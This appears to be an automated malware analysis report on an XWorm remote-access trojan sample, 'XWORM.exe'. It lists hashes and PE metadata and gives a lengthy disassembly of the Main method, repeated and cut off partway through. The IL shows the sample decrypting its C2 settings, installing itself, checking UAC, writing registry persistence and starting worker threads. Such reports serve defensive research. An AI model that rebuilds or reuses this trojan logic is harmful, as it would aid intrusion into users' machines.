Malicious
Malicious

4cea87712364bcc12b941d51ca1b3be1

PE Executable
|
MD5: 4cea87712364bcc12b941d51ca1b3be1
|
Size: 97.28 KB
|
application/x-dosexec

Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Medium

Hash
Hash Value
MD5
4cea87712364bcc12b941d51ca1b3be1
Sha1
6b88782888bc1eb27ce39b9d449b6c099e3aa4ae
Sha256
9b7023ed9d783bf33aa0178b91f82c2e6e7d69cd5db878845171fde65481bb4b
Sha384
cdc9f95f641dc2b33c2878a5fc8c8ef282cbac9c4624bdefa27c1a75688e9d80177575cbf1b44a90b79f58435a90059f
Sha512
4548f6f8848d243533706f670ac9984075c5aac81bf83d8a41b084824337fff30585101508171c349b9a26e6919cb9a1d11fc925e459c66375c0c89ecf1cef5a
SSDeep
1536:xm2QoNUdqM2icHJh+IuTEuEhPzDgq+AfdheL0aVuBt8ZJ8UgbzQSg:xVZU4M2iqiTEHvnVheoUgbzW
TLSH
3D936C0DF7118954CA9C0F7BC967950846ECD4A7A827EB7F28E89EE15D32CD8C98F940

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

XWORM.exe

Full Name

XWORM.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

XWORM.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XWORM

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

0

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

604

Main IL

ldsfld System.Char[] Stub.Messages::Ⴓ stloc.s V_25 ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 446 ldc.i4 417 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldc.i4.7 <null> stloc.s V_20 ldloc.s V_20 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 213 ldc.i4 203 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 615 ldc.i4 633 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Port ldc.i4.6 <null> stloc.s V_20 br.s IL_0024: ldloc.s V_20 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 263 ldc.i4 281 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 316 ldc.i4 290 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::SPL ldc.i4.8 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 943 ldc.i4 945 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 865 ldc.i4 895 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::USBNM ldc.i4.1 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 706 ldc.i4 732 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 722 ldc.i4 669 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stsfld System.String Settings::InstallDir ldc.i4.3 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 976 ldc.i4 974 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::InstallStr leave.s IL_0198: ldc.i4.2 dup <null> ldc.i4.s 78 ldc.i4.7 <null> call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.3 <null> ldc.i4.0 <null> ldc.i4 602 ldc.i4 634 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldc.i4 542 ldc.i4 563 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0198: ldc.i4.2 ldc.i4.2 <null> stloc.s V_22 ldloc.s V_22 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴈ.Ⴃ::Ⴀ() brtrue.s IL_01CA: ldc.i4.1 ldc.i4.3 <null> stloc.s V_22 br.s IL_019B: ldloc.s V_22 ldc.i4.1 <null> br.s IL_01C6: stloc.s V_22 ldc.i4.0 <null> ldc.i4 424 ldc.i4 392 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldsfld System.String Settings::InstallDir ldc.i4 1468082485 ldc.i4.7 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldsfld System.String Settings::InstallStr ldc.i4 409 ldc.i4 419 call System.String My.MyApplication::Ⴃ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int16) stloc.0 <null> ldc.i4.6 <null> stloc.s V_24 ldloc.s V_24 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 353 ldc.i4 271 call System.IO.DirectoryInfo Stub.Uninstaller::Ⴀ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int16) ldc.i4 848 ldc.i4 883 call System.String My.MyApplication::Ⴜ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int16,System.Int16) stloc.s V_4 ldc.i4.8 <null> stloc.s V_24 br.s IL_0206: ldloc.s V_24 ldloc.s V_4 ldc.i4 580 ldc.i4 602 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 162 ldc.i4 162 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brtrue.s IL_028F: ldc.i4.1 ldc.i4.2 <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldc.i4.1 <null> br.s IL_0288: stloc.s V_24 ldloc.s V_4 ldc.i4 246 ldc.i4 232 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 464 ldc.i4 443 call System.IO.DirectoryInfo My.MyComputer::Ⴀ<System.String>(System.String,System.Int16,System.Int32) pop <null> ldc.i4.1 <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldloc.0 <null> castclass System.String ldc.i4 490 ldc.i4 491 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brfalse.s IL_02E3: ldc.i4.5 ldloc.s V_25 ldc.i4.2 <null> ldelem.u2 <null> ldc.i4 18017 sub <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldc.i4.5 <null> br.s IL_02DC: stloc.s V_24 ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 castclass System.IO.FileInfo ldc.i4 893 ldc.i4 881 call System.Void Stub.Uninstaller::Ⴓ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int32) ldc.i4 1000 ldc.i4 649 ldc.i4 662 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldloc.0 <null> isinst System.String ldsfld System.String Ⴈ.Ⴃ::Ⴃ ldc.i4 836 ldc.i4 772 call System.Byte[] My.MyComputer::Ⴄ<System.String>(System.String,System.Char,System.Int16) ldc.i4.s 44 ldc.i4.s 28 call System.Void Stub.Main/Ⴄ::ႤႭ<System.String>(System.String,System.Byte[],System.Int16,System.Int16) leave.s IL_0365: ldc.i4.2 dup <null> ldc.i4 716 ldc.i4 645 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_6 ldc.i4 614 ldc.i4 587 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0365: ldc.i4.2 ldc.i4.2 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] ldc.i4 1468082483 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 castclass System.Diagnostics.ProcessStartInfo ldc.i4.1 <null> ldc.i4 389 ldc.i4 430 call System.Void Stub.Uninstaller::Ⴗ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int32) ldc.i4.8 <null> stloc.s V_27 br.s IL_0368: ldloc.s V_27 call System.String Stub.ClientSocket::UAC() ldc.i4 1013 ldc.i4 1015 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brfalse.s IL_03DD: ldc.i4.6 ldc.i4.1 <null> stloc.s V_27 br.s IL_0368: ldloc.s V_27 ldc.i4.6 <null> br.s IL_03D9: stloc.s V_27 ldloc.s V_8 castclass System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 castclass System.String[] ldc.i4.0 <null> ldc.i4 1468082432 ldc.i4.1 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 1004 ldc.i4 957 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4.2 <null> ldc.i4 1468082418 ldc.i4.3 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.4 <null> ldc.i4 1468082375 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4 559 ldc.i4 526 call System.String My.MyComputer::Ⴓ(System.String[],System.Char,System.Char) ldc.i4 286 ldc.i4 314 call System.Void Stub.Uninstaller::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int32) ldc.i4.0 <null> stloc.s V_27 br IL_0368: ldloc.s V_27 ldloc.s V_8 isinst System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 castclass System.String[] ldc.i4.0 <null> ldc.i4 1468082369 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 1008 ldc.i4 929 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.2 <null> ldc.i4 1468082418 ldc.i4.3 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.4 <null> ldc.i4 1468082382 ldc.i4.1 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4 724 ldc.i4 757 call System.String My.MyComputer::Ⴓ(System.String[],System.Char,System.Char) ldc.i4 771 ldc.i4 807 call System.Void Stub.Uninstaller::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int32) ldloc.s V_8 isinst System.Diagnostics.ProcessStartInfo ldc.i4 305 ldc.i4 296 call System.Diagnostics.Process Stub.Main/Ⴄ::ႤႳ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Char,System.Int16) stloc.s V_7 ldloc.s V_7 isinst System.Diagnostics.Process ldc.i4 558 ldc.i4 616 call System.Void My.MyComputer::ႥႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Int16,System.Char) leave.s IL_0579: ldc.i4.0 dup <null> ldc.i4 664 ldc.i4 721 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_9 ldc.i4 747 ldc.i4 710 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0579: ldc.i4.0 ldc.i4.0 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] call My.MyComputer My.MyProject::Ⴅ() ldc.i4 246 ldc.i4 225 call Microsoft.VisualBasic.MyServices.RegistryProxy Stub.Main/Ⴄ::ႤႥ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Int32,System.Int32) ldc.i4 195 ldc.i4 234 call Microsoft.Win32.RegistryKey Stub.Main/Ⴄ::ႤႰ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int16,System.Char) ldc.i4 1468082338 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> ldc.i4 772 ldc.i4 890 call Microsoft.Win32.RegistryKey My.MyComputer::ႥႣ<Microsoft.Win32.RegistryKey,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Int32,System.Char) ldsfld System.String Settings::InstallStr ldc.i4 415 ldc.i4 462 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) ldloc.0 <null> castclass System.String ldc.i4 562 ldc.i4 596 call System.Void Stub.Main/Ⴄ::ႤႨ<Microsoft.Win32.RegistryKey,System.Object,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Char,System.Int32) leave.s IL_0624: ldc.i4.5 dup <null> ldc.i4 693 ldc.i4 764 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_10 ldc.i4 749 ldc.i4 704 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0624: ldc.i4.5 ldc.i4.5 <null> stloc.s V_31 ldloc.s V_31 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4.s 39 ldc.i4.s 112 call System.String My.MyApplication::ႷႳ(System.Environment/SpecialFolder,System.Int32,System.Char) ldc.i4 1468082484 ldc.i4.6 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldsfld System.String Settings::InstallStr ldc.i4 316 ldc.i4 365 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) ldc.i4 1468082335 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.s 32 ldc.i4.s 78 call System.String Stub.Main/Ⴄ::ႠႭ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int32) stloc.s V_11 ldc.i4.2 <null> stloc.s V_31 br.s IL_0627: ldloc.s V_31 ldc.i4 1468082283 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4 1468082841 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldc.i4 1468082294 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_14 ldloc.s V_14 castclass System.Object[] ldc.i4.0 <null> ldloc.s V_11 castclass System.String stelem.ref <null> ldloc.s V_14 isinst System.Object[] stloc.s V_15 ldloc.s V_15 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_16 ldloc.s V_16 castclass System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_16 castclass System.Boolean[] call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_16 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0739: stloc.s V_17 ldloc.s V_15 castclass System.Object[] ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_11 stloc.s V_17 ldloc.s V_17 ldnull <null> ldc.i4 1468082253 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 castclass System.Object[] ldc.i4.0 <null> ldloc.0 <null> isinst System.String stelem.ref <null> ldloc.s V_18 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.4 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldloc.s V_17 ldnull <null> ldc.i4 1468082266 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 castclass System.Object[] ldc.i4.0 <null> ldc.i4 1468082835 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_18 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.3 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldloc.s V_17 ldnull <null> ldc.i4 1468082223 ldc.i4.0 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.8 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldnull <null> stloc.s V_17 ldloc.s V_11 castclass System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴈ.Ⴃ::Ⴍ leave.s IL_080A: ldc.i4.4 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_080A: ldc.i4.4 ldc.i4.4 <null> stloc.s V_33 ldloc.s V_33 switch dnlib.DotNet.Emit.Instruction[] call System.Void Ⴈ.Ⴃ::Ⴈ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldc.i4.3 <null> stloc.s V_33 br.s IL_080D: ldloc.s V_33 ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.s V_25 ldc.i4 279 ldelem.u2 <null> ldc.i4 63178 sub <null> stloc.s V_33 br IL_080D: ldloc.s V_33 ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null>

Module Name

XWORM.exe

Full Name

XWORM.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

XWORM.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XWORM

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

0

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

604

Main IL

ldsfld System.Char[] Stub.Messages::Ⴓ stloc.s V_25 ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 446 ldc.i4 417 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldc.i4.7 <null> stloc.s V_20 ldloc.s V_20 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 213 ldc.i4 203 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 615 ldc.i4 633 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Port ldc.i4.6 <null> stloc.s V_20 br.s IL_0024: ldloc.s V_20 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 263 ldc.i4 281 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 316 ldc.i4 290 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::SPL ldc.i4.8 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 943 ldc.i4 945 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 865 ldc.i4 895 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::USBNM ldc.i4.1 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 706 ldc.i4 732 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 722 ldc.i4 669 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stsfld System.String Settings::InstallDir ldc.i4.3 <null> stloc.s V_20 br IL_0024: ldloc.s V_20 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 976 ldc.i4 974 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) stsfld System.String Settings::InstallStr leave.s IL_0198: ldc.i4.2 dup <null> ldc.i4.s 78 ldc.i4.7 <null> call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.3 <null> ldc.i4.0 <null> ldc.i4 602 ldc.i4 634 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldc.i4 542 ldc.i4 563 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0198: ldc.i4.2 ldc.i4.2 <null> stloc.s V_22 ldloc.s V_22 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴈ.Ⴃ::Ⴀ() brtrue.s IL_01CA: ldc.i4.1 ldc.i4.3 <null> stloc.s V_22 br.s IL_019B: ldloc.s V_22 ldc.i4.1 <null> br.s IL_01C6: stloc.s V_22 ldc.i4.0 <null> ldc.i4 424 ldc.i4 392 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldsfld System.String Settings::InstallDir ldc.i4 1468082485 ldc.i4.7 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldsfld System.String Settings::InstallStr ldc.i4 409 ldc.i4 419 call System.String My.MyApplication::Ⴃ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int16) stloc.0 <null> ldc.i4.6 <null> stloc.s V_24 ldloc.s V_24 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 353 ldc.i4 271 call System.IO.DirectoryInfo Stub.Uninstaller::Ⴀ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int16) ldc.i4 848 ldc.i4 883 call System.String My.MyApplication::Ⴜ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int16,System.Int16) stloc.s V_4 ldc.i4.8 <null> stloc.s V_24 br.s IL_0206: ldloc.s V_24 ldloc.s V_4 ldc.i4 580 ldc.i4 602 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 162 ldc.i4 162 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brtrue.s IL_028F: ldc.i4.1 ldc.i4.2 <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldc.i4.1 <null> br.s IL_0288: stloc.s V_24 ldloc.s V_4 ldc.i4 246 ldc.i4 232 call System.String Stub.Main::Ⴐ<System.Object>(System.Object,System.Int16,System.Int32) ldc.i4 464 ldc.i4 443 call System.IO.DirectoryInfo My.MyComputer::Ⴀ<System.String>(System.String,System.Int16,System.Int32) pop <null> ldc.i4.1 <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldloc.0 <null> castclass System.String ldc.i4 490 ldc.i4 491 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brfalse.s IL_02E3: ldc.i4.5 ldloc.s V_25 ldc.i4.2 <null> ldelem.u2 <null> ldc.i4 18017 sub <null> stloc.s V_24 br IL_0206: ldloc.s V_24 ldc.i4.5 <null> br.s IL_02DC: stloc.s V_24 ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 castclass System.IO.FileInfo ldc.i4 893 ldc.i4 881 call System.Void Stub.Uninstaller::Ⴓ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int32) ldc.i4 1000 ldc.i4 649 ldc.i4 662 call System.Void My.MyApplication::Ⴀ(System.Int32,System.Int16,System.Int16) ldloc.0 <null> isinst System.String ldsfld System.String Ⴈ.Ⴃ::Ⴃ ldc.i4 836 ldc.i4 772 call System.Byte[] My.MyComputer::Ⴄ<System.String>(System.String,System.Char,System.Int16) ldc.i4.s 44 ldc.i4.s 28 call System.Void Stub.Main/Ⴄ::ႤႭ<System.String>(System.String,System.Byte[],System.Int16,System.Int16) leave.s IL_0365: ldc.i4.2 dup <null> ldc.i4 716 ldc.i4 645 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_6 ldc.i4 614 ldc.i4 587 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0365: ldc.i4.2 ldc.i4.2 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] ldc.i4 1468082483 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) newobj System.Void 